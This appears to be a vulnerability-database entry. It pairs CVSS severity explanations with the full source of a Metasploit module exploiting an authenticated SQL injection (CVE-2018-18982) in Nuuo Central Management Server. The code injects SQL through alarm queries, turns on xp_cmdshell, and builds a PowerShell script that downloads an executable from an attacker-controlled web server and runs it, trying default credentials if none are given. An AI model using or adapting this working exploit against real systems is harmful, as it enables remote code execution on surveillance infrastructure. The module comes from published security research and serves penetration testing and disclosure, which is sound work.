The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
Low
PR
The attacker requires privileges that provide basic capabilities that are typically limited to settings and resources owned by a single low-privileged user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: Nuuo Central Management SQL Injection
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::Nuuo
include Msf::Exploit::Remote::HttpServer
def initialize(info={})
super(update_info(info,
'Name' => 'Nuuo Central Management Authenticated SQL Server SQLi',
'Description' => %q{
The Nuuo Central Management Server allows an authenticated user to query the state of the alarms.
This functionality can be abused to inject SQL into the query. As SQL Server 2005 Express is
installed by default, xp_cmdshell can be enabled and abused to achieve code execution.
This module will either use a provided session number (which can be guessed with an auxiliary
module) or attempt to login using a provided username and password - it will also try the
default credentials if nothing is provided.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2018-18982' ],
[ 'URL', 'https://ics-cert.us-cert.gov/advisories/ICSA-18-284-02' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2019/Jan/51' ],
[ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/nuuo-cms-ownage.txt' ]
],
'Platform' => 'win',
'Arch' => ARCH_X86,
'Stance' => Msf::Exploit::Stance::Aggressive, # we need this to run in the foreground
'Targets' =>
[
[ 'Nuuo Central Management Server <= v2.10.0', {} ],
],
'Notes' =>
{
'SideEffects' => [ ARTIFACTS_ON_DISK ]
},
'Privileged' => false, # we run as NETWORK_SERVICE
'DisclosureDate' => 'Oct 11 2018',
'DefaultTarget' => 0))
register_options [
Opt::RPORT(5180),
OptInt.new('HTTPDELAY', [false, 'Number of seconds the web server will wait before termination', 10]),
OptString.new('URIPATH', [true, 'The URI to use for this exploit', "/#{rand_text_alpha(8..10)}"])
]
end
def inject_sql(sql, final = false)
sql = ['GETOPENALARM',"DeviceID: #{rand_text_numeric(4)}","SourceServer: ';#{sql};-- ","LastOne: #{rand_text_numeric(4)}"]
if final
nucs_send_msg_async(sql)
else
nucs_send_msg(sql)
end
end
# Handle incoming requests from the server
def on_request_uri(cli, request)
unless @pl
print_error("A request came in, but the payload wasn't ready yet!")
return
end
print_good('Sending the payload to CMS...')
send_response(cli, @pl)
Rex.sleep(3)
print_status('Executing shell...')
inject_sql(create_hex_cmd("xp_cmdshell \"cmd /c C:\\windows\\temp\\#{@filename}\""), true)
register_file_for_cleanup("c:/windows/temp/#{@filename}")
end
def create_hex_cmd(cmd)
var = rand_text_alpha(2)
hex_cmd = "declare @#{var} varchar(8000); select @#{var}=0x"
cmd.each_byte { |b|
hex_cmd << b.to_i.to_s(16)
}
hex_cmd << "; exec (@#{var})"
end
def primer
# we need to roll our own here instead of using the MSSQL mixins
# (tried that and it doesn't work)
service_url = "http://#{srvhost_addr}:#{srvport}#{datastore['URIPATH']}"
print_status("Enabling xp_cmdshell and asking CMS to download and execute #{service_url}")
@filename = "#{rand_text_alpha_lower(8..10)}.exe"
ps1 = "#{rand_text_alpha_lower(8..10)}.ps1"
download_pl = %{xp_cmdshell }
download_pl << %{'cd C:\\windows\\temp\\ && }
download_pl << %{echo $webclient = New-Object System.Net.WebClient >> #{ps1} && }
download_pl << %{echo $url = "#{service_url}" >> #{ps1} && }
download_pl << %{echo $file = "#{@filename}" >> #{ps1} && }
download_pl << %{echo $webclient.DownloadFile($url,$file) >> #{ps1} && }
download_pl << %{powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -File #{ps1}'}
print_status('Injecting PowerShell payload')
inject_sql("exec sp_configure 'show advanced options', 1; reconfigure; exec sp_configure 'xp_cmdshell', 1; reconfigure; " + create_hex_cmd(download_pl))
register_file_for_cleanup("c:/windows/temp/#{ps1}")
end
def exploit
nucs_login
unless @nucs_session
fail_with(Failure::Unknown, 'Failed to login to Nuuo CMS')
end
@pl = generate_payload_exe
#do not use SSL
if datastore['SSL']
ssl_restore = true
datastore['SSL'] = false
end
begin
Timeout.timeout(datastore['HTTPDELAY']) {super}
rescue Timeout::Error
datastore['SSL'] = true if ssl_restore
end
end
end
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